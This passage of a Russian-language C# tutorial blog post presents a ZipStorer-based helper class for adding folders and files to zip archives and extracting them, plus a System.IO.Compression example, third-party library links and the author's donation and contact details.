  &lt;pre id=&quot;gFX6&quot;&gt;        /// &amp;lt;summary&amp;gt;
        /// Method for adding folders to .Zip archive
        /// &amp;lt;br&amp;gt;Метод для добавления папок в .Zip архив&amp;lt;/br&amp;gt;
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&amp;quot;zippath&amp;quot;&amp;gt;The path to the .zip archive folder&amp;lt;br&amp;gt;Путь к папке .zip архива&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;datapath&amp;quot;&amp;gt;Full path to folders to add to .zip archive&amp;lt;br&amp;gt;Полный путь к папкам для добавления в .zip архив&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;mode&amp;quot;&amp;gt;Compression method&amp;lt;br&amp;gt;Метод сжатия&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;commentzip&amp;quot;&amp;gt;Comments on the .zip archive&amp;lt;br&amp;gt;Комментарии к .zip архиву&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        public static void AddMassDirectory(string zippath, string[] datapath, ZipStorer.Compression mode, string commentzip = &amp;quot;&amp;quot;) 
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            foreach (string dir in datapath.Where(dir =&amp;gt; Directory.Exists(dir)))
            {
                zipdir?.AddDirectory(mode, dir, string.Empty);
            }
        }
        public static void AddMassDirectory(string zippath, List&amp;lt;string&amp;gt; datapath, ZipStorer.Compression mode, string commentzip = &amp;quot;&amp;quot;)
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            foreach (string dir in datapath.Where(dir =&amp;gt; Directory.Exists(dir)))
            {
                zipdir?.AddDirectory(mode, dir, string.Empty);
            }
        }&lt;/pre&gt;
  &lt;pre id=&quot;yYO1&quot;&gt;        /// &amp;lt;summary&amp;gt;
        /// &amp;lt;br&amp;gt;Метод для добавления папки в .Zip архив&amp;lt;/br&amp;gt;
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&amp;quot;zippath&amp;quot;&amp;gt;The path to the .zip archive folder&amp;lt;br&amp;gt;Путь к папке .zip архива&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;datapath&amp;quot;&amp;gt;Full path to the folder to add to the .zip archive&amp;lt;br&amp;gt;Полный путь к папке для добавления в .zip архив&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;mode&amp;quot;&amp;gt;Compression method&amp;lt;br&amp;gt;Метод сжатия&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;commentzip&amp;quot;&amp;gt;Comments on the .zip archive&amp;lt;br&amp;gt;Комментарии к .zip архиву&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        public static void AddDirectory(string zippath, string datapath, ZipStorer.Compression mode, string commentzip = &amp;quot;&amp;quot;) 
        {
            using var zipdir = ZipStorer.Create(zippath, commentzip);
            if (Directory.Exists(datapath))
            {
                zipdir?.AddDirectory(mode, datapath, string.Empty);
            }
        }
        #endregion&lt;/pre&gt;
  &lt;pre id=&quot;WVze&quot;&gt;        #region Methods for adding files to the archive | Методы для добавления файлов в архив&lt;/pre&gt;
  &lt;pre id=&quot;MxMv&quot;&gt;        /// &amp;lt;summary&amp;gt;
        /// Method for adding a files to a .zip archive
        /// &amp;lt;br&amp;gt;Метод для добавления файлов в .zip архив&amp;lt;/br&amp;gt;
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&amp;quot;zippath&amp;quot;&amp;gt;The path to the .zip archive folder&amp;lt;br&amp;gt;Путь к папке .zip архива&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;filepath&amp;quot;&amp;gt;Full path to files to add to .zip archive&amp;lt;br&amp;gt;Полный путь к файлам для добавления в .zip архив&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;mode&amp;quot;&amp;gt;Compression method&amp;lt;br&amp;gt;Метод сжатия&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;commentzip&amp;quot;&amp;gt;Comments on the .zip archive&amp;lt;br&amp;gt;Комментарии к .zip архиву&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        public static void AddMassFile(string zippath, string[] filepath, ZipStorer.Compression mode, string commentzip = &amp;quot;&amp;quot;)
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            foreach (string files in filepath.Where(files =&amp;gt; File.Exists(files)))
            {
                zip?.AddFile(mode, files, Path.GetFileName(files), string.Empty);
            }
        }
        public static void AddMassFile(string zippath, List&amp;lt;string&amp;gt; filepath, ZipStorer.Compression mode, string commentzip = &amp;quot;&amp;quot;)
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            foreach (string files in filepath.Where(files =&amp;gt; File.Exists(files)))
            {
                zip?.AddFile(mode, files, Path.GetFileName(files), string.Empty);
            }
        }&lt;/pre&gt;
  &lt;pre id=&quot;mwep&quot;&gt;        /// &amp;lt;summary&amp;gt;
        /// Method for adding a file to a .zip archive
        /// &amp;lt;br&amp;gt;Метод для добавления файла в .zip архив&amp;lt;/br&amp;gt;
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&amp;quot;zippath&amp;quot;&amp;gt;The path to the .zip archive folder&amp;lt;br&amp;gt;Путь к папке .zip архива&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;filepath&amp;quot;&amp;gt;Full path to the file to add to the .Zip archive&amp;lt;br&amp;gt;Полный путь к файлу для добавления в .Zip архив&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;mode&amp;quot;&amp;gt;Compression method&amp;lt;br&amp;gt;Метод сжатия&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;commentzip&amp;quot;&amp;gt;Comments on the .zip archive&amp;lt;br&amp;gt;Комментарии к .zip архиву&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        public static void AddFile(string zippath, string filepath, ZipStorer.Compression mode, string commentzip = &amp;quot;&amp;quot;)
        {
            using var zip = ZipStorer.Create(zippath, commentzip);
            zip.EncodeUTF8 = true;
            zip?.AddFile(mode, filepath, Path.GetFileName(filepath), string.Empty);
        }&lt;/pre&gt;
  &lt;pre id=&quot;zTfn&quot;&gt;        #endregion&lt;/pre&gt;
  &lt;pre id=&quot;euRo&quot;&gt;        #region Methods for unpacking files from the archive | Методы для распаковки файлов из архива&lt;/pre&gt;
  &lt;pre id=&quot;3uWN&quot;&gt;        /// &amp;lt;summary&amp;gt;
        /// Method for unpacking a files from a .Zip archive
        /// &amp;lt;br&amp;gt;Метод для распаковки файлов из .Zip архива&amp;lt;/br&amp;gt;
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&amp;quot;zippath&amp;quot;&amp;gt;The path to the .zip archive folder&amp;lt;br&amp;gt;Путь к папке .zip архива&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;filenames&amp;quot;&amp;gt;Name of files to unzip&amp;lt;br&amp;gt;Имя файлов которые нужно распаковать&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;savepath&amp;quot;&amp;gt;Path to save files&amp;lt;br&amp;gt;Путь для сохранения файлов&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        public static void UnpackMassFile(string zippath, string[] filenames, string savepath)
        {
            using var zip = ZipStorer.Open(zippath, FileAccess.Read);
            foreach (ZipStorer.ZipFileEntry entry in zip.ReadCentralDir())
            {
                foreach (string file in filenames.Where(file =&amp;gt; Path.GetFileName(entry.FilenameInZip).Contains(file)))
                {
                    zip?.ExtractFile(entry, Path.Combine(savepath, file));
                }
            }
        }&lt;/pre&gt;
  &lt;pre id=&quot;ie4d&quot;&gt;        /// &amp;lt;summary&amp;gt;
        /// Method for unpacking a file from a .Zip archive
        /// &amp;lt;br&amp;gt;Метод для распаковки файла из .Zip архива&amp;lt;/br&amp;gt;
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&amp;quot;zippath&amp;quot;&amp;gt;The path to the .zip archive folder&amp;lt;br&amp;gt;Путь к папке .zip архива&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;filename&amp;quot;&amp;gt;The name of the file you want to unzip&amp;lt;br&amp;gt;Имя файла которого нужно распаковать&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;savepath&amp;quot;&amp;gt;Path to save file&amp;lt;br&amp;gt;Путь для сохранения файла&amp;lt;/br&amp;gt;&amp;lt;/param&amp;gt;
        public static void UnpackFile(string zippath, string filename, string savepath)
        {
            using var zip = ZipStorer.Open(zippath, FileAccess.Read);
            foreach (ZipStorer.ZipFileEntry entry in zip.ReadCentralDir().Where(entry =&amp;gt; Path.GetFileName(entry.FilenameInZip).Contains(filename)))
            {
                zip?.ExtractFile(entry, Path.Combine(savepath, filename));
                break;
            }
        }
        #endregion
    }&lt;/pre&gt;
  &lt;p id=&quot;FirI&quot;&gt;Класс можете изменить под себя, как вам будет удобно. &lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;kWkK&quot;&gt;В версии &lt;code&gt;.NetFramework 4.5&lt;/code&gt; имеется встроенный архиватор который вы можете использовать.&lt;/p&gt;
  &lt;p id=&quot;A5PB&quot;&gt;Для этого подключите ссылки:&lt;/p&gt;
  &lt;ul id=&quot;AMRu&quot;&gt;
    &lt;li id=&quot;YrVl&quot;&gt;&lt;code&gt;using System&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;pgMk&quot;&gt;&lt;code&gt;System.IO.Compression&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;pgZc&quot;&gt;&lt;code&gt;System.IO.Compression.FileSystem&lt;/code&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;zaGw&quot;&gt;Теперь запишем метод который добавляет файлы в архив &lt;strong&gt;.Zip&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;vmYw&quot;&gt;/// &amp;lt;summary&amp;gt;
/// Метод для добавления файла в .Zip архив
/// &amp;lt;/summary&amp;gt;
/// &amp;lt;param name=&amp;quot;zipfile&amp;quot;&amp;gt;Полный путь к .Zip архиву&amp;lt;/param&amp;gt;
/// &amp;lt;param name=&amp;quot;inputfile&amp;quot;&amp;gt;Путь к файлу для добавления в .Zip архив&amp;lt;/param&amp;gt;
/// &amp;lt;param name=&amp;quot;compressionlevel&amp;quot;&amp;gt;Метод сжатия&amp;lt;/param&amp;gt;
public static void AddFileInZip(string zipfile, string inputfile, CompressionLevel compressionlevel)
{
  try
  {
     using ZipArchive za = ZipFile.Open(zipfile, ZipArchiveMode.Update);
     za?.CreateEntryFromFile(inputfile, Path.GetFileName(inputfile), compressionlevel);
  }
  catch (Exception ex) { throw new Exception(&amp;quot;Ошибка: &amp;quot;, ex); }
}&lt;/pre&gt;
  &lt;p id=&quot;ymrV&quot;&gt;Использовать можно так:&lt;/p&gt;
  &lt;pre id=&quot;CmaS&quot;&gt;private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
private static readonly string TargetFile = Path.Combine(Desktop, &amp;quot;11.jpg&amp;quot;);
AddFileInZip(&amp;quot;r3xq1.zip&amp;quot;, TargetFile, CompressionLevel.Fastest);&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;pc5o&quot;&gt;Можно так же использовать сторонние библиотеки для архивации, вот некоторые из них:&lt;/p&gt;
  &lt;ul id=&quot;skKL&quot;&gt;
    &lt;li id=&quot;F0YG&quot;&gt;&lt;a href=&quot;https://www.nuget.org/packages/DotNetZip/&quot; target=&quot;_blank&quot;&gt;DotNetZip&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;pBl8&quot;&gt;&lt;a href=&quot;https://www.nuget.org/packages/Ionic.Zip/&quot; target=&quot;_blank&quot;&gt;IonicZip&lt;/a&gt; &lt;/li&gt;
    &lt;li id=&quot;BiaX&quot;&gt;&lt;a href=&quot;https://www.nuget.org/packages/SevenZipSharp.Net45/&quot; target=&quot;_blank&quot;&gt;SevenZipSharp&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;LhpL&quot;&gt;Примеры их использования куча, вы можете посмотреть реализации их методов на: &lt;a href=&quot;https://stackoverflow.com&quot; target=&quot;_blank&quot;&gt;SO - StackOverFlow&lt;/a&gt; &lt;a href=&quot;https://www.cyberforum.ru/csharp-net/&quot; target=&quot;_blank&quot;&gt;CyberForum&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;d9th&quot;&gt;На этом можно кончить и закончить.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;gK8k&quot;&gt;Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад&lt;/p&gt;
  &lt;p id=&quot;Lnzl&quot;&gt;&lt;strong&gt;BTC&lt;/strong&gt;: &lt;code&gt;1HVjr2GmsTeRKG78rLxmX4CeQBEH8fUAhR&lt;/code&gt;&lt;/p&gt;
  &lt;h2 id=&quot;DXQ6&quot;&gt;&lt;em&gt;По всем вопросами пишите мне в:&lt;/em&gt;&lt;/h2&gt;
  &lt;ul id=&quot;EGHR&quot;&gt;
    &lt;li id=&quot;vCNf&quot;&gt;Telegram: &lt;a href=&quot;https://t.me/r3xq1_dev&quot; target=&quot;_blank&quot;&gt;@r3xq1&lt;/a&gt; ( остерегайтесь фейков )&lt;/li&gt;
    &lt;li id=&quot;Gb4c&quot;&gt;Jabber: &lt;a href=&quot;mailto:r3xq1@jabber.ru&quot; target=&quot;_blank&quot;&gt;r3xq1@jabber.ru&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Chkc&quot;&gt;&lt;a href=&quot;https://github.com/r3xq1&quot; target=&quot;_blank&quot;&gt;https://github.com/r3xq1&lt;/a&gt;&lt;/p&gt;

</content></entry></feed>